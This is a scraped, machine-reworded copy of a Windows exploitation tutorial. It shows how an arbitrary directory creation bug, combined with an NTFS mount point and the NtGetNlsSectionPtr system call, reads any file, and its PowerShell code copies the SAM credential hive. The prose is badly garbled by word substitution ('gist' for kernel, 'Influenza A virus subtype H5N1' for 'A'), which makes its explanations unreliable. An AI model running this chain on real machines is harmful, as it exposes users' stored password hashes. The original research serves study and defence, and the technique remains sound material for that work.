Langsung ke konten utama

Windows Exploitation Tricks: Arbitrary Directory Creation To Arbitrary File Read

Posted past times James Forshaw,

For the past times duad of months I’ve been presenting my “Introduction to Windows Logical Privilege Escalation Workshop” at a few conferences. The restriction of a 2 hr slot fails to create the topic jurist as well as some interesting tips as well as tricks I would similar to acquaint stimulate got to survive cutting out. So every bit the likelihood of a total grooming class whatever fourth dimension shortly is pretty low, I persuasion I’d pose together an irregular serial of spider web log posts which item small, self contained exploitation tricks which yous tin pose to usage if yous respect similar safety vulnerabilities inwards Windows.

In this postal service I’m going to give a technique to give-up the ghost from an arbitrary directory creation vulnerability to arbitrary file read. Arbitrary management creation vulnerabilities create be - for example, here’s 1 that was inwards the Linux subsystem - but it’s non e'er obvious how you’d exploit such a põrnikas inwards contrast to arbitrary file creation where a DLL is dropped somewhere. You could abuse DLL Redirection support where yous create a directory calling program.exe.local to create DLL planting but that’s non e'er reliable every bit you’ll only survive able to redirect DLLs non inwards the same directory (such every bit System32) as well as only ones which would unremarkably give-up the ghost via Side-by-Side DLL loading.

For this spider web log we’ll usage my instance driver from the Workshop which already contains a vulnerable directory creation bug, as well as we’ll write a Powershell script to exploit it using my NtObjectManager module. The technique I’m going to line isn’t a vulnerability, but it’s something yous tin usage if yous stimulate got a divide directory creation bug.

Quick Background on the Vulnerability Class

When dealing amongst files from the Win32 API you’ve got ii functions, CreateFile as well as CreateDirectory. It would brand feel that there’s a separation betwixt the ii operations. However at the Native API degree there’s only ZwCreateFile, the way the gist separates files as well as directories is past times passing either FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE to the CreateOptions parameter when calling ZwCreateFile. Why the organization telephone telephone is for creating a file as well as yet the flags are named every bit if Directories are the primary file type I’ve no idea.

A real uncomplicated vulnerable instance yous mightiness run into inwards a gist driver looks similar the following:

NTSTATUS KernelCreateDirectory(PHANDLE Handle,
                              PUNICODE_STRING Path) {
 IO_STATUS_BLOCK io_status = { 0 };
 OBJECT_ATTRIBUTES obj_attr = { 0 };

 InitializeObjectAttributes(&obj_attr, Path,
    OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE);
 
 return ZwCreateFile(Handle, MAXIMUM_ALLOWED,
                     &obj_attr, &io_status,
                     NULL, FILE_ATTRIBUTE_NORMAL,
                    FILE_SHARE_READ | FILE_SHARE_DELETE,
                    FILE_OPEN_IF, FILE_DIRECTORY_FILE, NULL, 0);
}

There’s 3 of import things to banking concern annotation well-nigh this code that determines whether it’s a vulnerable directory creation vulnerability. Firstly it’s passing FILE_DIRECTORY_FILE to CreateOptions which agency it’s going to create a directory. Second it’s passing every bit the Disposition parameter FILE_OPEN_IF. This agency the directory volition survive created if it doesn’t exist, or opened if it does. And thirdly, as well as perchance most importantly, the driver is calling a Zw function, which agency that the telephone telephone to create the directory volition default to running amongst gist permissions which disables all access checks. The way to guard against this would survive to overstep the OBJ_FORCE_ACCESS_CHECK attribute flag inwards the OBJECT_ATTRIBUTES, nonetheless nosotros tin run into amongst the flags passed to InitializeObjectAttributes the flag is non beingness laid inwards this case.

Just from this snippet of code nosotros don’t know where the destination path is coming from, it could survive from the user or it could survive fixed. As long every bit this code is running inwards the context of the electrical current procedure (or is impersonating your user account) it doesn’t genuinely matter. Why is running inwards the electrical current user’s context thus important? It ensures that when the directory is created the possessor of that resources is the electrical current user which agency yous tin modify the Security Descriptor to give yous total access to the directory. In many cases fifty-fifty this isn’t necessary every bit many of the organization directories stimulate got a CREATOR OWNER access command entry which ensures that the possessor gets total access immediately.

Creating an Arbitrary Directory

If yous wish to follow along you’ll shout for to setup a Windows 10 VM (doesn’t affair if it’s 32 or 64 bit) as well as follow the details inwards setup.txt from the zip file containing my Workshop driver. Then you’ll shout for to install the NtObjectManager Powershell Module. It’s available on the Powershell Gallery, which is an online module repository thus follow the details there.
Assuming that’s all done, let’s larn to work. First let’s await how nosotros tin telephone telephone the vulnerable code inwards the driver. The driver exposes a Device Object to the user amongst the elevate \Device\WorkshopDriver (we tin run into the setup inwards the source code). All “vulnerabilities” are as well as thus exercised past times sending Device IO Control requests to the device object. The code for the IO Control treatment is inwards device_control.c as well as we’re specifically interested inwards the dispatch. The code ControlCreateDir is the 1 we’re looking for, it takes the input information from the user as well as uses that every bit an unchecked UNICODE_STRING to overstep to the code to create the directory. If nosotros await upward the code to create the IOCTL number nosotros respect ControlCreateDir is 2, thus let’s usage the next PS code to create an arbitrary directory.

Import-Module NtObjectManager

# Get an IOCTL for the workshop driver.
function Get-DriverIoCtl {
   Param([int]$ControlCode)
   [NtApiDotNet.NtIoControlCode]::new("Unknown",`
       0x800 -bor $ControlCode, "Buffered", "Any")
}

function New-Directory {
 Param([string]$Filename)
 # Open the device driver.
 Use-NtObject($file = Get-NtFile \Device\WorkshopDriver) {
   # Get IOCTL for ControlCreateDir (2)
   $ioctl = Get-DriverIoCtl -ControlCode 2
   # Convert DOS filename to NT
   $nt_filename = [NtApiDotNet.NtFileUtils]::DosFileNameToNt($Filename)
   $bytes = [Text.Encoding]::Unicode.GetBytes($nt_filename)
   $file.DeviceIoControl($ioctl, $bytes, 0) | Out-Null
 }
}

The New-Directory portion starting fourth dimension opens the device object, converts the path to a native NT format every bit an array of bytes as well as calls the DeviceIoControl portion on the device. We could but overstep an integer value for command code but the NT API libraries I wrote stimulate got an NtIoControlCode type to pack upward the values for you. Let’s effort it as well as run into if it works to create the directory c:\windows\abc.

Introduction to Windows Logical Privilege Escalation Workshop Windows Exploitation Tricks: Arbitrary Directory Creation to Arbitrary File Read

It works as well as we’ve successfully created the arbitrary directory. Just to banking concern check nosotros usage Get-Acl to larn the Security Descriptor of the directory as well as nosotros tin run into that the possessor is the ‘user’ concern human relationship which agency nosotros tin larn total access to the directory.
Now the employment is what to create amongst this ability? There’s no incertitude some organization service which mightiness await upward inwards a listing of directories for an executable to run or a configuration file to parse. But it’d survive overnice non to rely on something similar that. As the championship suggested instead we’ll convert this into an arbitrary file read, how mightiness create nosotros give-up the ghost well-nigh doing that?

Mount Point Abuse

If you’ve watched my verbalize on Abusing Windows Symbolic Links you’ll know how NTFS mountain points (or sometimes Junctions) work. The $REPARSE_POINT NTFS attribute is stored amongst the Directory which the NTFS driver reads when opening a directory. The attribute contains an choice native NT object manager path to the destination of the symbolic link which is passed dorsum to the IO manager to maintain processing. This allows the Mount Point to piece of work betwixt unlike volumes, but it does stimulate got 1 interesting consequence. Specifically the path doesn’t stimulate got to genuinely to betoken to some other directory, what if nosotros give it a path to a file?

If yous usage the Win32 APIs it volition neglect as well as if yous usage the NT apis straight you’ll respect yous destination upward inwards a weird paradox. If yous effort as well as opened upward the mountain betoken every bit a file the mistake volition state it’s a directory, as well as if yous instead effort to opened upward every bit a directory it volition tell yous it’s genuinely a file. Turns out if yous don’t specify either FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE as well as thus the NTFS driver volition overstep its checks as well as the mountain betoken tin genuinely redirect to a file.

Introduction to Windows Logical Privilege Escalation Workshop Windows Exploitation Tricks: Arbitrary Directory Creation to Arbitrary File Read
Perhaps nosotros tin respect some organization service which volition opened upward our file without whatever of these flags (if yous overstep FILE_FLAG_BACKUP_SEMANTICS to CreateFile this volition also take away all flags) as well as ideally larn the service to read as well as provide the file data?

National Language Support

Windows supports many unlike languages, as well as inwards lodge to back upward non-unicode encodings soundless supports Code Pages. Influenza A virus subtype H5N1 lot is exposed through the National Language Support (NLS) libraries, as well as you’d assume that the libraries run alone inwards user way but if yous await at the gist you’ll respect a few organization calls hither as well as in that place to back upward NLS. The 1 of most involvement to this spider web log is the NtGetNlsSectionPtr organization call. This organization telephone telephone maps code page files from the System32 directory into a process’ retentivity where the libraries tin access the code page data. It’s non alone clear why it needs to survive inwards gist mode, perchance it’s but to brand the sections shareable betwixt all processes on the same machine. Let’s await at a simplified version of the code, it’s non a real big function:

NTSTATUS NtGetNlsSectionPtr(DWORD NlsType,
                           DWORD CodePage,
                           PVOID *SectionPointer,
                           PULONG SectionSize) {
 UNICODE_STRING section_name;
 OBJECT_ATTRIBUTES section_obj_attr;
 HANDLE section_handle;
 RtlpInitNlsSectionName(NlsType, CodePage, &section_name);
 InitializeObjectAttributes(&section_obj_attr,
                            &section_name,
                            OBJ_KERNEL_HANDLE |
                            OBJ_OPENIF |
                            OBJ_CASE_INSENSITIVE |
                            OBJ_PERMANENT);
    
 // Open department nether \NLS directory.
 if (!NT_SUCCESS(ZwOpenSection(&section_handle,
                        SECTION_MAP_READ,
                        &section_obj_attr))) {
   // If no department as well as thus opened upward the corresponding file as well as create section.
   UNICODE_STRING file_name;
   OBJECT_ATTRIBUTES obj_attr;
   HANDLE file_handle;

   RtlpInitNlsFileName(NlsType,
                       CodePage,
                       &file_name);
   InitializeObjectAttributes(&obj_attr,
                              &file_name,
                              OBJ_KERNEL_HANDLE |
                              OBJ_CASE_INSENSITIVE);
   ZwOpenFile(&file_handle, SYNCHRONIZE,
              &obj_attr, FILE_SHARE_READ, 0);
   ZwCreateSection(&section_handle, FILE_MAP_READ,
                   &section_obj_attr, NULL,
                   PROTECT_READ_ONLY, MEM_COMMIT, file_handle);
   ZwClose(file_handle);
 }

 // Map department into retentivity as well as provide pointer.
 NTSTATUS status = MmMapViewOfSection(
                     section_handle,
                     SectionPointer,
                     SectionSize);
 ZwClose(section_handle);
 return status;
}

The starting fourth dimension thing to banking concern annotation hither is it tries to opened upward a named department object nether the \NLS directory using a elevate generated from the CodePage parameter. To larn an persuasion what that elevate looks similar we’ll but listing that directory:

Introduction to Windows Logical Privilege Escalation Workshop Windows Exploitation Tricks: Arbitrary Directory Creation to Arbitrary File Read

The named sections are of the cast NlsSectionCP<NUM> where NUM is the number of the code page to map. You’ll also notice there’s a department for a normalization information set. Which file gets mapped depends on the starting fourth dimension NlsType parameter, nosotros don’t assist well-nigh normalization for the moment. If the department object isn’t institute the code builds a file path to the code page file, opens it amongst ZwOpenFile as well as and thus calls ZwCreateSection to create a read-only named department object. Finally the department is mapped into retentivity as well as returned to the caller.

There’s ii of import things to banking concern annotation here, starting fourth dimension the OBJ_FORCE_ACCESS_CHECK flag is non beingness laid for the opened upward call. This agency the telephone telephone volition opened upward whatever file fifty-fifty if the caller doesn’t stimulate got access to it. And most importantly the terminal parameter of ZwOpenFile is 0, this agency neither FILE_DIRECTORY_FILE or FILE_NON_DIRECTORY_FILE is beingness set. Not setting these flags volition termination inwards our desired condition, the opened upward telephone telephone volition follow the mountain betoken redirection to a file as well as non generate an error. What is the file path laid to? We tin but disassemble RtlpInitNlsFileName to respect out:

void RtlpInitNlsFileName(DWORD NlsType,
                        DWORD CodePage,
                        PUNICODE_STRING String) {
 if (NlsType == NLS_CODEPAGE) {
    RtlStringCchPrintfW(String,
             L"\\SystemRoot\\System32\\c_%.3d.nls", CodePage);
 } else {
    // Get normalization path from registry.
    // NOTE well-nigh how this is arbitrary registry write to file.
 }
}

The file is of the cast c_<NUM>.nls nether the System32 directory. Note that it uses the exceptional symbolic link \SystemRoot which points to the Windows directory using a device path format. This prevents this code from beingness abused past times redirecting crusade letters as well as making it an actual vulnerability. Also banking concern annotation that if the normalization path is requested the information is read out from a machine registry key, thus if yous stimulate got an arbitrary registry value writing vulnerability yous mightiness survive able to exploit this organization telephone telephone to larn some other arbitrary read, but that’s for the interested reader to investigate.

I recollect it’s clear at nowadays what nosotros stimulate got to do, create a directory inwards System32 amongst the elevate c_<NUM>.nls, laid its reparse information to betoken to an arbitrary file as well as thus usage the NLS organization telephone telephone to opened upward as well as map the file. Choosing a code page number is easy, 1337 is unused. But what file should nosotros read? Influenza A virus subtype H5N1 mutual file to read is the SAM registry hive which contains logon information for local users. However access to the SAM file is usually blocked every bit it’s non sharable as well as fifty-fifty but opening for read access every bit an administrator volition neglect amongst a sharing violation. There’s of class a number of ways yous tin larn around this, yous tin usage the registry backup functions (but that needs admin rights) or nosotros tin line an erstwhile re-create of the SAM from a Volume Shadow Copy (which isn’t on past times default on Windows 10). So perchance let’s forget about… no hold off we’re inwards luck.

File sharing on Windows files depends on the access beingness requested. For instance if the caller requests Read access but the file is non shared for read access as well as thus it fails. However it’s possible to opened upward a file for sure non-content rights, such every bit reading the safety descriptor or synchronizing on the file object, rights which are non considered when checking the existing file sharing settings. If yous await dorsum at the code for NtGetNlsSectionPtr you’ll notice the only access correct beingness requested for the file is SYNCHRONIZE as well as thus volition e'er allow the file to survive opened fifty-fifty if locked amongst no sharing access.

But how tin that work? Doesn’t ZwCreateSection shout for a readable file handgrip to create the read-only file mapping. Yes as well as no. Windows file objects create non genuinely assist whether a file is readable or writable. Access rights are associated amongst the handgrip created when the file is opened. When yous telephone telephone ZwCreateSection from user-mode the telephone telephone eventually tries to convert the handgrip to a pointer to the file object. For that to occur the caller must specify what access rights shout for to survive on the handgrip for it to succeed, for a read-only mapping the gist requests the handgrip has Read Data access. However but every bit amongst access checking amongst files if the gist calls ZwCreateSection access checking is disabled including when converting a file handgrip to the file object pointer. This results inwards ZwCreateSection succeeding fifty-fifty though the file handgrip only has SYNCHRONIZE access. Which agency nosotros tin opened upward whatever file on the organization regardless of it’s sharing way as well as that includes the SAM file.

So let’s pose the terminal touches to this, nosotros create the directory \SystemRoot\System32\c_1337.nls as well as convert it to a mountain betoken which redirects to \SystemRoot\System32\config\SAM. Then nosotros telephone telephone NtGetNlsSectionPtr requesting code page 1337, which creates the department as well as returns us a pointer to it. Finally nosotros but re-create out the mapped file retentivity into a novel file as well as we’re done.

$dir = "\SystemRoot\system32\c_1337.nls"
New-Directory $dir
 
$target_path = "\SystemRoot\system32\config\SAM"
Use-NtObject($file = Get-NtFile $dir `
            -Options OpenReparsePoint,DirectoryFile) {
 $file.SetMountPoint($target_path, $target_path)
}

Use-NtObject($map =
    [NtApiDotNet.NtLocale]::GetNlsSectionPtr("CodePage", 1337)) {
 Use-NtObject($output = [IO.File]::OpenWrite("sam.bin")) {
   $map.GetStream().CopyTo($output)
   Write-Host "Copied file"
 }
}

Loading the created file inwards a hex editor shows nosotros did indeed pocket the SAM file.

Introduction to Windows Logical Privilege Escalation Workshop Windows Exploitation Tricks: Arbitrary Directory Creation to Arbitrary File Read

For completeness we’ll create clean upward our mess. We tin but delete the directory past times opening the directory file amongst the Delete On Close flag as well as and thus closing the file (making sure to opened upward it every bit a reparse betoken otherwise you’ll effort as well as opened upward the SAM again). For the department every bit the object was created inwards our safety context (just similar the directory) as well as in that place was no explicit safety descriptor as well as thus nosotros tin opened upward it for DELETE access as well as telephone telephone ZwMakeTemporaryObject to take away the permanent reference count laid past times the original creator amongst the OBJ_PERMANENT flag.

Use-NtObject($sect = Get-NtSection \nls\NlsSectionCP1337 `
                   -Access Delete) {
 # Delete permanent object.
 $sect.MakeTemporary()
}

Wrap-Up

What I’ve described inwards this spider web log postal service is non a vulnerability, although sure the code doesn’t seem to follow best practice. It’s a organization telephone telephone which hasn’t changed since at to the lowest degree Windows vii thus if yous respect yourself amongst an arbitrary directory creation vulnerability yous should survive able to usage this play tricks to read whatever file on the organization regardless of whether it’s already opened upward or shared. I’ve pose the terminal script on GITHUB at this link if yous wish the terminal version to larn a ameliorate agreement of how it works.

It’s worth keeping a log of whatever odd behaviours when you’re contrary engineering a production inwards instance it becomes useful every bit I did inwards this case. Many times I’ve institute code which isn’t itself a vulnerability but stimulate got has some useful properties which allow yous to construct out exploitation chains.

Komentar

Postingan populer dari blog ini

Exception-Oriented Exploitation On Ios

Posted past times Ian Beer, This postal service covers the regain in addition to exploitation of CVE-2017-2370 , a heap buffer overflow inwards the mach_voucher_extract_attr_recipe_trap mach trap. It covers the bug, the evolution of an exploitation technique which involves repeatedly in addition to deliberately crashing in addition to how to build alive meat introspection features using onetime meat exploits. It’s a trap! Alongside a large number of BSD syscalls (like ioctl, mmap, execve in addition to so on) XNU also has a pocket-sized number of extra syscalls supporting the MACH side of the meat called mach traps. Mach trap syscall numbers start at 0x1000000. Here’s a snippet from the syscall_sw.c file where the trap tabular array is defined: /* 12 */ MACH_TRAP(_kernelrpc_mach_vm_deallocate_trap, 3, 5, munge_wll), /* xiii */ MACH_TRAP(kern_invalid, 0, 0, NULL), /* xiv */ MACH_TRAP(_kernelrpc_mach_vm_protect_trap, 5, 7, munge_wllww), Most of the mach traps a

Lifting The (Hyper) Visor: Bypassing Samsung’S Real-Time Total Protection

Posted yesteryear Gal Beniamini, Traditionally, the operating system’s total is the concluding security boundary standing betwixt an assaulter together with total command over a target system. As such, additional aid must hold upwards taken inwards lodge to ensure the integrity of the kernel. First, when a organization boots, the integrity of its primal components, including that of the operating system’s kernel, must hold upwards verified. This is achieved on Android yesteryear the verified kicking chain . However, only booting an authenticated total is insufficient—what most maintaining the integrity of the total spell the organization is executing? Imagine a scenario where an assaulter is able to abide by together with exploit a vulnerability inwards the operating system’s kernel. Using such a vulnerability, the assaulter may endeavor to subvert the integrity of the total itself, either yesteryear modifying the contents of its code, or yesteryear introducing novel attacker-co

Chrome Bone Exploit: 1 Byte Overflow As Well As Symlinks

The next article is an invitee weblog post from an external researcher (i.e. the writer is non a or Google researcher). This post is most a Chrome OS exploit I reported to Chrome VRP inward September. The folks were squeamish to allow me do a invitee post most it, therefore hither goes. The study includes a detailed writeup , therefore this post volition have got less detail. 1 byte overflow inward a DNS library In Apr I constitute a TCP port listening on localhost inward Chrome OS. It was an HTTP proxy built into shill, the Chrome OS network manager. The proxy has at nowadays been removed equally component of a fix, but its source tin give notice nonetheless move seen from an one-time revision: shill/http_proxy.cc . The code is unproblematic in addition to doesn’t seem to incorporate whatever obvious exploitable bugs, although it is real liberal inward what it accepts equally incoming HTTP. It calls into the c-ares library for resolving DNS. There was a possible 1 byte ov